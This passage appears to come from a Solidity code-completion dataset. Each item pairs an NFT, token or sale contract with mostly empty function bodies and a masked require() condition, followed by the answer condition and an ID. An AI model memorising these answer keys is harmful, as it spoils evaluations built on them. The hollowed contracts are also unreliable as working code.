) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Bonk is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 0;
uint256 public ref_owner = 0;
uint256 public ref_discount = 0;
uint256 public subdomains_fee = 0;
uint256 private maxCharSize=20;
string private domain='.bonk';
string private BASE_URI = 'https://bonk.id/metadata/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
constructor() ERC721A(".Bonk Name Service", ".bonk") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata bonk_name, address newresolve) external {
}
function setPrimaryAddress(string calldata bonk_name) external {
}
function setDataAddress(string calldata bonk_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory bonk_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
}
function setAllowChars(bytes memory allwchr) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function register(address ref_address, string memory bonk_name)
public
payable
{
uint256 price = cost;
bool is_ref=false;
uint256 ref_cost=0;
require(bytes(bonk_name).length<=maxCharSize,"Long name");
require(bytes(bonk_name).length>0,"Write a name");
require(<FILL_ME>)
if (ref_address== 0x0000000000000000000000000000000000000000) {
price=cost;
} else {
if (bytes(primaryAddress[ref_address]).length>0){
ref_cost=price*ref_owner/100;
} else {
ref_cost=price*ref/100;
}
price = price*(100-ref_discount)/100;
is_ref=true;
}
require (tokenAddressandID[bonk_name] == 0 , "This is already taken");
require(IS_SALE_ACTIVE, "Sale is not active!");
require(msg.value >= price, "Insufficient funds!");
tokenIDandAddress[_currentIndex]=bonk_name;
tokenAddressandID[bonk_name]=_currentIndex;
resolveAddress[bonk_name]=msg.sender;
if (is_ref) {
payable(ref_address).transfer(ref_cost);
}
_safeMint(msg.sender,1);
}
function namediff(uint256 tokenId , string calldata new_bonk_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function _checkName(string memory _name) public view returns(bool){
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| _checkName(bonk_name),"Invalid name" | 86,070 | _checkName(bonk_name) |
"This is already taken" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Bonk is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 0;
uint256 public ref_owner = 0;
uint256 public ref_discount = 0;
uint256 public subdomains_fee = 0;
uint256 private maxCharSize=20;
string private domain='.bonk';
string private BASE_URI = 'https://bonk.id/metadata/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
constructor() ERC721A(".Bonk Name Service", ".bonk") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata bonk_name, address newresolve) external {
}
function setPrimaryAddress(string calldata bonk_name) external {
}
function setDataAddress(string calldata bonk_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory bonk_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
}
function setAllowChars(bytes memory allwchr) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function register(address ref_address, string memory bonk_name)
public
payable
{
uint256 price = cost;
bool is_ref=false;
uint256 ref_cost=0;
require(bytes(bonk_name).length<=maxCharSize,"Long name");
require(bytes(bonk_name).length>0,"Write a name");
require(_checkName(bonk_name), "Invalid name");
if (ref_address== 0x0000000000000000000000000000000000000000) {
price=cost;
} else {
if (bytes(primaryAddress[ref_address]).length>0){
ref_cost=price*ref_owner/100;
} else {
ref_cost=price*ref/100;
}
price = price*(100-ref_discount)/100;
is_ref=true;
}
require(<FILL_ME>)
require(IS_SALE_ACTIVE, "Sale is not active!");
require(msg.value >= price, "Insufficient funds!");
tokenIDandAddress[_currentIndex]=bonk_name;
tokenAddressandID[bonk_name]=_currentIndex;
resolveAddress[bonk_name]=msg.sender;
if (is_ref) {
payable(ref_address).transfer(ref_cost);
}
_safeMint(msg.sender,1);
}
function namediff(uint256 tokenId , string calldata new_bonk_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function _checkName(string memory _name) public view returns(bool){
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| tokenAddressandID[bonk_name]==0,"This is already taken" | 86,070 | tokenAddressandID[bonk_name]==0 |
"contract needs operator approval" | // SPDX-License-Identifier: UNLICENSED
// QualifiedPrice provides an (ERC20) unit to the quanty.
struct QualifiedPrice {
uint96 amount; // currency quantity
address currency; // token contract
}
// CollectiblesSale represents one product on Montro Collectibles.
contract CollectiblesSale is FixedNFTSet, ERC721Metadata {
// CollectiblesPurchaseOffer signals an option to purchase tokens. For any given
// seller, each CollectiblesPurchaseOffer emission overrides the previous one,
// if any. A zero QualifiedPrice amount terminates the offer from seller.
event CollectiblesPurchaseOffer(QualifiedPrice perToken, address seller);
// Name labels the item for sale.
string public override(ERC721Metadata) name;
// SerialCode identifies the item for sale.
string public serialCode;
// The 32-byte SHA2-256 from IPFS is split over two hexadecimal words.
// Use all lower-case for valid IPFS URI composition.
bytes32 immutable FSHashHex1;
bytes32 immutable FSHashHex2;
// BoostConfig is packed into one immutable word for gas efficiency.
uint256 immutable boosts;
mapping(address => QualifiedPrice) purchaseOffers;
// BoostConfig packs boosts as base–ramp pairs.
struct BoostConfig {
int16 stakeBase;
int16 stakeRamp;
int16 weightBase;
int16 weightRamp;
}
// All tokens are assigned to productHolder, with an CollectiblesPurchaseOffer
// emission as per QualifiedPrice. The initial ERC721 Transfer events are
// omitted because they are implied by the CollectiblesPurchaseOffer already.
constructor(address productHolder, string memory productName, string memory productSerialCode, uint256 partCount, QualifiedPrice memory perToken, bytes32 IPFSHashHex1, bytes32 IPFSHashHex2, BoostConfig memory bc)
FixedNFTSet(partCount, productHolder) {
}
function supportsInterface(bytes4 interfaceID) public override(FixedNFTSet) pure returns (bool) {
}
function symbol() override(ERC721Metadata) public pure returns (string memory) {
}
// FSURIFix packs both the prefix and the suffix of an IPFS URI with hex
// encoding. This is to effectively store the entire URI in three words.
//
// The CID header consists of the following (multiformat) prefixes:
// 'f': lower-case hexadecimal (for all what follows)
// '01': CID version 1 (in hexadecimal)
// '70': MerkleDAG ProtoBuf (in hexadecimal)
// '12': SHA2-256 (in hexadecimal)
// '20': hash bit-length (in hexadecimal)
bytes21 constant FSURIFix = "ipfs://f01701220.json";
function tokenURI(uint256 tokenID) override(ERC721Metadata) public view returns (string memory) {
}
// TokenStake returns the relative share in the sale-execution. All boost values
// combined represent a payout in full.
//
// ⚠️ Note that the stake is duplacated in the metadata from tokenURI.
function tokenStake(uint256 tokenID) public view returns (int256 boost) {
}
// TokenWeight returns the relative momentum for voting. All boost values
// combined represent a vote in full.
//
// ⚠️ Note that the weight is duplacated in the metadata from tokenURI.
function tokenWeight(uint256 tokenID) public view returns (int256 boost) {
}
// PurchaseOffer allows anyone to purchase tokens from msg.sender at the given
// QualifiedPrice. PurchaseOffer overwrites the previous QualifiedPrice, if any.
// QualifiedPrice amount zero terminates any PurchaseOffer from msg.sender.
function purchaseOffer(QualifiedPrice memory perToken) public payable {
if (perToken.amount == 0) {
delete purchaseOffers[msg.sender];
} else {
tokenOfOwnerByIndex(msg.sender, 0); // address & balance check
require(<FILL_ME>)
purchaseOffers[msg.sender] = perToken;
}
emit CollectiblesPurchaseOffer(perToken, msg.sender);
}
// PurchaseFrom aquires a token from seller if, and only if, a matching purchase
// offer is found.
function purchaseFrom(address seller, uint256 tokenID) public payable {
}
}
| isApprovedForAll(msg.sender,address(this)),"contract needs operator approval" | 86,257 | isApprovedForAll(msg.sender,address(this)) |
"allowance mismatch" | // SPDX-License-Identifier: UNLICENSED
// QualifiedPrice provides an (ERC20) unit to the quanty.
struct QualifiedPrice {
uint96 amount; // currency quantity
address currency; // token contract
}
// CollectiblesSale represents one product on Montro Collectibles.
contract CollectiblesSale is FixedNFTSet, ERC721Metadata {
// CollectiblesPurchaseOffer signals an option to purchase tokens. For any given
// seller, each CollectiblesPurchaseOffer emission overrides the previous one,
// if any. A zero QualifiedPrice amount terminates the offer from seller.
event CollectiblesPurchaseOffer(QualifiedPrice perToken, address seller);
// Name labels the item for sale.
string public override(ERC721Metadata) name;
// SerialCode identifies the item for sale.
string public serialCode;
// The 32-byte SHA2-256 from IPFS is split over two hexadecimal words.
// Use all lower-case for valid IPFS URI composition.
bytes32 immutable FSHashHex1;
bytes32 immutable FSHashHex2;
// BoostConfig is packed into one immutable word for gas efficiency.
uint256 immutable boosts;
mapping(address => QualifiedPrice) purchaseOffers;
// BoostConfig packs boosts as base–ramp pairs.
struct BoostConfig {
int16 stakeBase;
int16 stakeRamp;
int16 weightBase;
int16 weightRamp;
}
// All tokens are assigned to productHolder, with an CollectiblesPurchaseOffer
// emission as per QualifiedPrice. The initial ERC721 Transfer events are
// omitted because they are implied by the CollectiblesPurchaseOffer already.
constructor(address productHolder, string memory productName, string memory productSerialCode, uint256 partCount, QualifiedPrice memory perToken, bytes32 IPFSHashHex1, bytes32 IPFSHashHex2, BoostConfig memory bc)
FixedNFTSet(partCount, productHolder) {
}
function supportsInterface(bytes4 interfaceID) public override(FixedNFTSet) pure returns (bool) {
}
function symbol() override(ERC721Metadata) public pure returns (string memory) {
}
// FSURIFix packs both the prefix and the suffix of an IPFS URI with hex
// encoding. This is to effectively store the entire URI in three words.
//
// The CID header consists of the following (multiformat) prefixes:
// 'f': lower-case hexadecimal (for all what follows)
// '01': CID version 1 (in hexadecimal)
// '70': MerkleDAG ProtoBuf (in hexadecimal)
// '12': SHA2-256 (in hexadecimal)
// '20': hash bit-length (in hexadecimal)
bytes21 constant FSURIFix = "ipfs://f01701220.json";
function tokenURI(uint256 tokenID) override(ERC721Metadata) public view returns (string memory) {
}
// TokenStake returns the relative share in the sale-execution. All boost values
// combined represent a payout in full.
//
// ⚠️ Note that the stake is duplacated in the metadata from tokenURI.
function tokenStake(uint256 tokenID) public view returns (int256 boost) {
}
// TokenWeight returns the relative momentum for voting. All boost values
// combined represent a vote in full.
//
// ⚠️ Note that the weight is duplacated in the metadata from tokenURI.
function tokenWeight(uint256 tokenID) public view returns (int256 boost) {
}
// PurchaseOffer allows anyone to purchase tokens from msg.sender at the given
// QualifiedPrice. PurchaseOffer overwrites the previous QualifiedPrice, if any.
// QualifiedPrice amount zero terminates any PurchaseOffer from msg.sender.
function purchaseOffer(QualifiedPrice memory perToken) public payable {
}
// PurchaseFrom aquires a token from seller if, and only if, a matching purchase
// offer is found.
function purchaseFrom(address seller, uint256 tokenID) public payable {
QualifiedPrice memory offer = purchaseOffers[seller];
require(offer.amount != 0, "no offer");
// verify price expectency of buyer against current offer
require(<FILL_ME>)
// pay
require(ERC20(offer.currency).transferFrom(msg.sender, seller, offer.amount), "no pay");
// redeem
this.transferFrom(seller, msg.sender, tokenID);
}
}
| ERC20(offer.currency).allowance(msg.sender,address(this))==offer.amount,"allowance mismatch" | 86,257 | ERC20(offer.currency).allowance(msg.sender,address(this))==offer.amount |
"no pay" | // SPDX-License-Identifier: UNLICENSED
// QualifiedPrice provides an (ERC20) unit to the quanty.
struct QualifiedPrice {
uint96 amount; // currency quantity
address currency; // token contract
}
// CollectiblesSale represents one product on Montro Collectibles.
contract CollectiblesSale is FixedNFTSet, ERC721Metadata {
// CollectiblesPurchaseOffer signals an option to purchase tokens. For any given
// seller, each CollectiblesPurchaseOffer emission overrides the previous one,
// if any. A zero QualifiedPrice amount terminates the offer from seller.
event CollectiblesPurchaseOffer(QualifiedPrice perToken, address seller);
// Name labels the item for sale.
string public override(ERC721Metadata) name;
// SerialCode identifies the item for sale.
string public serialCode;
// The 32-byte SHA2-256 from IPFS is split over two hexadecimal words.
// Use all lower-case for valid IPFS URI composition.
bytes32 immutable FSHashHex1;
bytes32 immutable FSHashHex2;
// BoostConfig is packed into one immutable word for gas efficiency.
uint256 immutable boosts;
mapping(address => QualifiedPrice) purchaseOffers;
// BoostConfig packs boosts as base–ramp pairs.
struct BoostConfig {
int16 stakeBase;
int16 stakeRamp;
int16 weightBase;
int16 weightRamp;
}
// All tokens are assigned to productHolder, with an CollectiblesPurchaseOffer
// emission as per QualifiedPrice. The initial ERC721 Transfer events are
// omitted because they are implied by the CollectiblesPurchaseOffer already.
constructor(address productHolder, string memory productName, string memory productSerialCode, uint256 partCount, QualifiedPrice memory perToken, bytes32 IPFSHashHex1, bytes32 IPFSHashHex2, BoostConfig memory bc)
FixedNFTSet(partCount, productHolder) {
}
function supportsInterface(bytes4 interfaceID) public override(FixedNFTSet) pure returns (bool) {
}
function symbol() override(ERC721Metadata) public pure returns (string memory) {
}
// FSURIFix packs both the prefix and the suffix of an IPFS URI with hex
// encoding. This is to effectively store the entire URI in three words.
//
// The CID header consists of the following (multiformat) prefixes:
// 'f': lower-case hexadecimal (for all what follows)
// '01': CID version 1 (in hexadecimal)
// '70': MerkleDAG ProtoBuf (in hexadecimal)
// '12': SHA2-256 (in hexadecimal)
// '20': hash bit-length (in hexadecimal)
bytes21 constant FSURIFix = "ipfs://f01701220.json";
function tokenURI(uint256 tokenID) override(ERC721Metadata) public view returns (string memory) {
}
// TokenStake returns the relative share in the sale-execution. All boost values
// combined represent a payout in full.
//
// ⚠️ Note that the stake is duplacated in the metadata from tokenURI.
function tokenStake(uint256 tokenID) public view returns (int256 boost) {
}
// TokenWeight returns the relative momentum for voting. All boost values
// combined represent a vote in full.
//
// ⚠️ Note that the weight is duplacated in the metadata from tokenURI.
function tokenWeight(uint256 tokenID) public view returns (int256 boost) {
}
// PurchaseOffer allows anyone to purchase tokens from msg.sender at the given
// QualifiedPrice. PurchaseOffer overwrites the previous QualifiedPrice, if any.
// QualifiedPrice amount zero terminates any PurchaseOffer from msg.sender.
function purchaseOffer(QualifiedPrice memory perToken) public payable {
}
// PurchaseFrom aquires a token from seller if, and only if, a matching purchase
// offer is found.
function purchaseFrom(address seller, uint256 tokenID) public payable {
QualifiedPrice memory offer = purchaseOffers[seller];
require(offer.amount != 0, "no offer");
// verify price expectency of buyer against current offer
require(ERC20(offer.currency).allowance(msg.sender, address(this)) == offer.amount, "allowance mismatch");
// pay
require(<FILL_ME>)
// redeem
this.transferFrom(seller, msg.sender, tokenID);
}
}
| ERC20(offer.currency).transferFrom(msg.sender,seller,offer.amount),"no pay" | 86,257 | ERC20(offer.currency).transferFrom(msg.sender,seller,offer.amount) |
"Token transfer from LockedAddressList" | // v0.8.17+commit.8df45f5f
pragma solidity ^0.8.4;
contract Erc20TokenContract is ERC20, ERC20Burnable, Pausable, AccessControl {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant LOCK_TRANSFER_ROLE = keccak256("LOCK_TRANSFER_ROLE");
mapping(address => bool) internal _fullLockList;
event fullLockEvent(address indexed account, bool isLocked);
event mintEvent(address to, uint256 amount);
constructor() ERC20("CODA", "CODA") {
}
function pause() public onlyRole(PAUSER_ROLE) {
}
function unpause() public onlyRole(PAUSER_ROLE) {
}
function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
}
function fullLockAddress(address account) external onlyRole(LOCK_TRANSFER_ROLE) returns (bool) {
}
function unFullLockAddress(address account) external onlyRole(LOCK_TRANSFER_ROLE) returns (bool) {
}
function isAddressLocked(address account) external view virtual returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
require(<FILL_ME>)
require(!_fullLockList[to], "Token transfer to LockedAddressList");
super._beforeTokenTransfer(from, to, amount);
}
}
| !_fullLockList[from],"Token transfer from LockedAddressList" | 86,345 | !_fullLockList[from] |
"Token transfer to LockedAddressList" | // v0.8.17+commit.8df45f5f
pragma solidity ^0.8.4;
contract Erc20TokenContract is ERC20, ERC20Burnable, Pausable, AccessControl {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant LOCK_TRANSFER_ROLE = keccak256("LOCK_TRANSFER_ROLE");
mapping(address => bool) internal _fullLockList;
event fullLockEvent(address indexed account, bool isLocked);
event mintEvent(address to, uint256 amount);
constructor() ERC20("CODA", "CODA") {
}
function pause() public onlyRole(PAUSER_ROLE) {
}
function unpause() public onlyRole(PAUSER_ROLE) {
}
function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
}
function fullLockAddress(address account) external onlyRole(LOCK_TRANSFER_ROLE) returns (bool) {
}
function unFullLockAddress(address account) external onlyRole(LOCK_TRANSFER_ROLE) returns (bool) {
}
function isAddressLocked(address account) external view virtual returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
require(!_fullLockList[from], "Token transfer from LockedAddressList");
require(<FILL_ME>)
super._beforeTokenTransfer(from, to, amount);
}
}
| !_fullLockList[to],"Token transfer to LockedAddressList" | 86,345 | !_fullLockList[to] |
"[Bike] Permission Denied" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
// [Contract] Token Standard
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
// [Contract] Utils
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Context.sol";
// [Contract] Security & Access
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// AccessControl, ReentrancyGuard
contract BikeFiNFT is ERC721, ERC721Enumerable, AccessControl, Pausable {
// [Contract] Variable
string constant TOKEN_NAME = "BikeFiNFT";
string constant TOKEN_SYMBOL = "BFN";
bytes32 public constant BIKE_CREATOR_PERMISSION = keccak256("BIKE_CREATOR_PERMISSION");
// [Contract] Counter
using Counters for Counters.Counter;
Counters.Counter private _tokenId;
// [Contract] Parameter
string private _metaDataURI;
// [Contract] Constructor
constructor() ERC721(TOKEN_NAME, TOKEN_SYMBOL) {
}
// [Contract] Public
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// [Contract] Required
function setMetaDataURI(string memory metaDataURI) external onlyAdminRole {
}
function createBike(address to) external whenNotPaused onlyBikeCreatorPermission {
}
// [Contract] Modifier
modifier onlyAdminRole() {
}
modifier onlyBikeCreatorPermission() {
require(<FILL_ME>)
_;
}
// [Contract] SupportsInterface
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC721, ERC721Enumerable) returns (bool) {
}
// [Contract] Required function to allow receiving ERC-721 - When safeTransferFrom called auto implement this func if (to) is contract address
function onERC721Received(
address, /*operator*/
address, /*from*/
uint256, /*id*/
bytes calldata /*data*/
) external pure returns (bytes4) {
}
}
| hasRole(BIKE_CREATOR_PERMISSION,_msgSender()),"[Bike] Permission Denied" | 86,470 | hasRole(BIKE_CREATOR_PERMISSION,_msgSender()) |
"whiteListPurchased already" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
// 88b d88 88888888ba 88
// 888b d888 88 "8b 88
// 88`8b d8'88 88 ,8P 88
// 88 `8b d8' 88 ,adPPYba, 88aaaaaa8P' 88 88 8b,dPPYba, 88 ,d8
// 88 `8b d8' 88 a8P_____88 88""""""' 88 88 88P' `"8a 88 ,a8"
// 88 `8b d8' 88 8PP""""""" 88 88 88 88 88 8888[
// 88 `888' 88 "8b, ,aa 88 "8a, ,a88 88 88 88`"Yba,
// 88 `8' 88 `"Ybbd8"' 88 `"YbbdP'Y8 88 88 88 `Y8a
interface NFT {
function mint(address receiver) external;
}
contract MePunkWhiteListSale is Ownable, ReentrancyGuard {
using Strings for uint256;
using MerkleProof for bytes32[];
uint256 public whiteListSaleStartTime = 1648472400; // 3/28 9pm
uint256 public whiteListSaleEndTime = whiteListSaleStartTime + 1 days;
uint256 public whiteListSaleRemainingCount = 86;
uint256 public whiteListSaleMintPrice = 0.11 ether;
address public mePunk;
bytes32 public whiteListMerkleRoot;
mapping(address => bool) public whiteListPurchased;
constructor(address _mePunk) {
}
/* ************** */
/* USER FUNCTIONS */
/* ************** */
function buyMePunk(bytes32[] calldata proof, uint256 numberOfTokens)
external
payable
